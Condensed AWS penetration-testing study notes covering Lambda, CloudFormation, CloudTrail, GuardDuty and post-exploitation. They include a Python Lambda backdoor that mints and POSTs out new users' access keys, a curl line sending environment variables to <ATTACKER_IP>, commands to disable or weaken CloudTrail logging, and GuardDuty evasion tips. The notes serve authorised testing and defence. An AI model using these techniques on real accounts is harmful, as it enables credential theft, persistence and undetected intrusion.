works only if CloudTrail logging is enabled (because the Lambda function backdoor will be configured to trigger upon an event)
can create backdoor such as creating a second access key pair for a new user, then exfiltrating the key pair
import boto3
from botocore.vendored import requests
def lambda_handler(event,context):
if event['detail']['eventName']=='CreateUser':
client=boto3.client('iam')
try:
response=client.create_access_key(UserName=event['detail']['requestParamete
rs']['userName'])
requests.post('POST_URL',data={"AKId":response['AccessKey']['AccessKeyId'],
"SAK":response['AccessKey']['SecretAccessKey']})
except:
pass
return
best practice to enable CloudTrail across all AWS regions
it is better to backdoor existing Lambda functions as it is stealthier
this avoids creating new resources in an environment, which can be noisy
Backdooring ECR
if it is possible to log into the container registry, pull a Docker image, and update it in the AWS environment, then an image can be modified with an attacker’s malware to establish persistence
Chapter 12: Pentesting Lambda
Lamba is considered serverless, but technically isolated servers are spun up for the duration of a function’s runtime
filesystem is read-only except for /tmp
you are a low-privileged user
check environment variables of Lambda functions
aws lambda list-functions --profile <PROFILE>
Event Injection
if RCE can be obtained on the Lambda function, creds can be exfiltrated via environment variables (as opposed to EC2 where it is in the metadata serice)
read environment variables with env and exfiltrate with curl (curl -X POST -d `env` <ATTACKER_IP>)
bash runs commands enclosed in backticks (`) first
Lambda has curl by default
may be able to indirectly invoke a function that is set to automatically trigger upon an event in a different service
e.g. lambda function triggers on an uploaded file in an S3 bucket:
can update SES identity policy with aws ses put-identity-policy --identity admin@example.com --policy-name <POLICY_NAME> --policy file://modified_policy.json
SES supports cross-account email sending
as long as account not in SES sandbox (and is verified and enabled), you can send emails to any account outside of the email’s domain
otherwise phishing can only be performed against other emails with the same domain
templates within environment can be found with aws ses list-templates and aws ses get-template --template-anme <TEMPLATE_NAME>
CloudFormation
can suffer from hardcoded secrets, overly permissive deployments, etc.
aws cloudformation describe-stacks:
Stack Parameters
some sensitive information can show up if NoEcho is not set to true
aws cloudformation describe-stacks --stack-name arn:aws:cloudformation:us-west-2:000000000000:stack/<DELETED_STACK>/23801r22-906h-53a0-pao3-74yre14208z6
<div class="indented"><ul id="22056c02-cbe1-4382-8309-3e0c3097c8dd" class="bulleted-list"><li style="list-style-type:disc">shows parameters and output values of the stack <ul id="75e89d92-b900-4510-bc79-bdce2933d1ae" class="bulleted-list"><li style="list-style-type:circle">note that deleted stacks must be referenced by their ARN</li></ul></li></ul></div>
Stack Exports
exports share output values between stacks without the need to reference them
exported values are also shown under the outputs of the stacks
exports can help give info about target environment and/or the user cases of the stack
aws cloudformation list-exports
<div class="indented"><ul id="73c825a6-1d4d-4fc7-b0ee-89da951ade51" class="bulleted-list"><li style="list-style-type:disc">shows name and value of each export and the stack that exported it</li></ul></div>
contains information regarding the setup of various resources
can help identify resources, misconfigurations, hardcoded secrets, etc.
Passed Roles
stacks can be passed with other roles using iam:PassRole
an IAM user with cloudformation:* can escalate privileges by modifying other higher-privileged stacks
stacks with passed roles can be identified if a stack’s ARN has the RoleARN key with the value of an IAM role’s ARN
role’s permissions can be inferred by its name, via the resources that the stack deployed, and the stack’s template
aws cloudformation describe-stack-resources --stack-name <STACK_NAME>
<div class="indented"><ul id="0bf3eb8f-9bff-46e8-a501-e2999b02bb22" class="bulleted-list"><li style="list-style-type:disc">shows what resources were created by the stack</li></ul></div>
aws cloudformation update-stack --stack-name <STACK_NAME> --template-body file://template.json --parameters file://params.json
<div class="indented"><ul id="2d7e20d5-fe35-4ecb-85c5-e1641cb7cc23" class="bulleted-list"><li style="list-style-type:disc">updates stack with modified template that can for example perform additional API calls on behalf of the role’s permissions attached to the stack (essentially a privesc)</li></ul></div>
Discovering values of NoEcho Parameters
cloudformation:UpdateStack is needed to uncover NoEcho values
note that as a pentester, you should also have cloudformation:GetTemplate
it is possible to retrieve the value for NoEcho parameters with just UpdateStack, but this requires updating a template with our own which would result in the loss of resources that the stack created (because we are essentially completely replacing the previously used template instead of modifying it)
Elastic Container Registry (ECR)
fully managed Docker container service for deploying, storing, and managing Docker container images
it may be possible to escalate privileges by logging into the container registry and pulling a docker image
Chapter 15: Pentesting CloudTrail
Auditing
The following keys should be set to true within CloudTrail:
Key
Description
Additional Info
IsMultiRegional
Ensures CloudTrail is logging across all regions
This is more efficient than creating individual trails for each region; additionally, new AWS regions get released.
IncludeGlobalServiceEvents
Logs API activity for non-region specific AWS services (e.g. IAM and S3)
LogFileValidationEnabled
Identify deletion/modification of logs
KMSKeyId
The key used to encrypt the logs
Absence of this key means that the logs are not encrypted
if HasCustomEventSelectors is true then perform the following command to view which events are being logged:
make sure the values for LatestDeliveryAttemptTime and LatestDeliveryAttemptSucceeded are the same, otherwise there may be a problem when CloudTrail is delivering logs to S3
Recon
unlike CloudTrail logs, CloudTrail’s event history is immutable
using cloudtrail:LookupEvents it is possible to view the event history of CloudTrail
this way you can see CloudTrail events without needing S3 and KMS (if you do have S3 and KMS permissions be careful of downloading logs, it may be alarming)
easier to stay stealthy when the usual activity of users/services is known
LookUpEvents is slow as it returns up to 50 events per-second (therefore, it is important to filter before downloading events from CloudTrail’s event history)
signin.amazonaws.com means the action was performed by the AWS web console
make sure to change your user agent to match the userAgent value in the event history
Bypassing Logging
Using Unsupported Services
API calls to unsupported services do not produce any logs in CloudTrail, including the Event history
furthermore, no CloudWatch event rules can be created for unsupported services
API calls to unsupported services can be leveraged to help determine whether a key pair is being used as a canary token
defenders should refrain from providing permissions to unsupported CloudTrail services unless absolutely necessary, if so then:
make use of any potential built-in logging within the unsupported service
view IAM credentialed reports to identify services that were accessed (aws iam get-credential-report), and perform aws iam generate-service-last-accused-details --arn <IAM_RESOURCE_ARN> to see which services a specific resource accessed (this return a JobId which can be viewed with aws iam get-service-last-accessed-details --job-id <JOB_ID>)
note this does not show what activity a resource performed within the service, it only shows whether a resource successfully authenticated to a service and when
Cross-Account Enumeration
User Enumeration
requires knowing account ID of target
use Pacu to enumerate users and roles (ensure that the creds provided have iam:UpdateAssumeRolePolicy, and that the creds are owned by your AWS account):
Users
run iam__enum_users --account-id 123456789012 --role-name <ATTACKER_CREATED_ROLE>,
Roles
run iam__enum_roles --account-id 123456789012 --role-name <ATTACKER_CREATED_ROLE>
this module attempts to assume discovered roles which can be successful in case of a misconfiguration
Disrupting Trails
any of the following methods can be performed with run detetion_disruptions --trails <TRAIL_NAME>@<AWS_REGION>
you will then be prompted to minimize (weaken), disable, or delete the specified trail
disruptions of CloudTrail will likely cause alarms, however it is possible to nevertheless stay under the radar if GuardDuty or other monitoring services are not implemented
GuardDuty will trigger an Stealth:IAMUser/CloudTrailLoggingDisabled alert upon disabling a trail, or Stealth:IAMUser/LoggingConfigurationModified upon modifying a trail’s configuration
Disabling a Trail
aws cloudtrail stop-logging --name <TRAIL_NAME>
<div class="indented"><ul id="ac27527e-f13e-474c-9e93-00fb84aa8212" class="bulleted-list"><li style="list-style-type:disc">must be run from the same region as the trail to not have an InvalidHomeRegionException error</li></ul></div>
Deleting a Trail or its S3 Bucket
can delete trail completely or S3 bucket that holds the logs
Deleting Trail:
aws cloudtrail delete-trail --name <TRAIL_NAME>
Deleting S3 Bucket:
will leave trail in an error state
find S3 bucket trail is sending logs to (view the S3BucketName
key):
aws cloudtrail describe-trails
delete bucket:
aws s3api delete-bucket --bucket <BUCKET_NAME>
Weakening a Trail or its S3 Bucket
Weakening a Trail:
use cloutrail:UpdateTrail to modify a trail’s monitoring configurations, and cause it to only monitor unimportant events that are unrelated to the specific attack
Weakening Trail’s S3 Bucket Logging:
requires the cloudTrail:PutEventSelectors permission
modify event selectors to prevent the logging of certain types of events (such as by avoiding S3/Lambda logging by removing those services from the DataResources key in the event selector policy)
can also modify ReadWriteType to avoid recording read or write events
GuardDuty can potentially be bypassed if a user typically configures CloudTrail configurations
identify usual activity of compromised user to avoid GuardDuty from being triggered
modify certain logs from S3 bucket (works if log file validation is misconfigured)
note that this activity will still be in CloudTrail’s event history, but CloudTrail’s event history is slow and has limitations (therefore this allows an attacker to buy some time)
Chapter 16: GuardDuty
GuardDuty is enabled on a per-region basis
Three data sources GuardDuty analyzes:
VPC flow logs
CouldTrail event logs
DNS logs
DNS logs can only be used if requests are routed through AWS DNS resolvers (default for EC2)
VPC flow logs and CloudTrail event logs do not need to be enabled for GuardDuty to use them
GuardDuty can be managed cross-account
such as in the scenario where one master account has control over the GuardDuty configurations for a different AWS account
anomalies in user behavior are reported, as GuardDuty relies on machine learning
Run the following command to see if GuardDuty is enabled in the region:
aws guardduty list-detectors
Bypassing Techniques
Distraction
can purposely trigger certain alerts to distract a defender from your real path
if GuardDuty is using CloudWatch Events, you could use the PutEvents API to provide fake unexpected data to GuardDuty findings that could break the target of the CloudWatch Events rule
false data in the correct format could also be sent to confuse defenders
Disabling Monitoring
not recommended as it causes damage to the environment
returns location of public S3 bucket used for whitelisting which you can download
save the location so that GuardDuty configurations can be restored after the engagement
Go through steps 1-3 in “Creating a Whitelist for a Detector”, and ensure the contents of the S3 whitelist file also contain the IPs of the downloaded trusted list.
this alert is UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration and applies only to EC2 instances
caused when credentials exclusively for an EC2 instance are being used from an external IP address
OLD: note that external IP address is referring to an address outside all of EC2, not necessarily the EC2 instance that the IAM instance profile is attached to ← patched since January 2022 due to UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS
Since January 2022: Bypass is possible by creating an EC2 instance in the attacker AWS account and issuing API calls from the instance via VPC endpoints in a private subnet (see SneakyEndpoints)
Other Bypasses
Refrain from using Tor
No port scanning from or to an EC2 instance
Do not bruteforce SSH or RDP
Get reverse shells from usual ports such as 80 or 443 to bypass Behavior:EC2/NetworkPortUnusual
Exfiltrate data with a limited bandwidth to avoid Behavior:EC2/NetworkPortUnusual
Do not change the password policy to avoid Stealth:IAMUser/PasswordPolicyChange
Do not perform DNS exfiltration from a compromised EC2 instance to avoid Trojan:EC2/DNSDataExfiltration
this still could potentially still be bypassed even with DNS exfiltration via non-AWS DNS resolvers
Chapter 19: Real World AWS Pentesting
have a local user with iam:UpdateAssumeRolePolicy and s3:ListBucket permissions for unauthenticated cross account enumeration
always make sure to delete resources that were created in the environment to avoid charging the client and creating billing alerts that could potentially get you caught
Unauthenticated Reconnaissance
perform API call on a service that is not logged by CloudTrail to get the target AWS account number
Pacu
Enumerate users with iam__enum_users
Enumerate roles with iam__enum_roles
Enumerate buckets with s3__bucket_finder
Post-Exploitation
look for as many misconfigurations as possible
EC2
look for instances with public IP addresses
instances without public IP addresses could still be accessed by initializing another instance within the same VPC, or modifying the security group of existing instances (run ec2__backdoor_ec2_sec_groups --port-range 1-65535 --protocol TCP --ip 1.1.1.1/32)
EBS
look for snapshots and volumes
Create a snapshot of the EBS volume and share that snapshot with the attacker account.
The alternative to sharing the snapshot with a cross-account (which is typically audited and flagged) is performing all the steps in the compromised account. However, this runs the risk of getting blocked before anything important is found.
Create a news EBS volume with the snapshot.
Create an EC2 instance and mount the volume to it.
Dig through the contents of the mounted volume
this is automated with Pacu’s ebs__explore_snapshots
Lambda
if possible, download the source code of all Lambda functions and run Bandit if it is Python
RDS
gain access to RDS instance data by copying its contents to a newly created RDS instance (rds__explore_snapshots):
Create snapshot of targeted instance and use the snapshot with an instance you create.
Change master password of new instance give yourself inbound access.
Note this uses the ModifyDbInstance API (the same call for modifying networking settings, monitoring settings, etc.) and is not a noisy event.
Connect to the database and exfiltrate the data (maybe use mysqldump).
Auditing for Compliance and Best Practices
Check
Description
Public Access
Is X publicly accessible?
Encryption
Is X encrypted at-rest and/or in-transit?
Logging
Is logging enabled for X, and what is being done with the logs?
Backups
How often is X backed up?
Other
Is MFA enabled?
Is the password policy weak?
Is deletion protection being implemented on appropriate resources?
VPC endpoints with EC2 instance for performing API calls with exfiltrated EC2 credentials without triggering GuardDuty UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS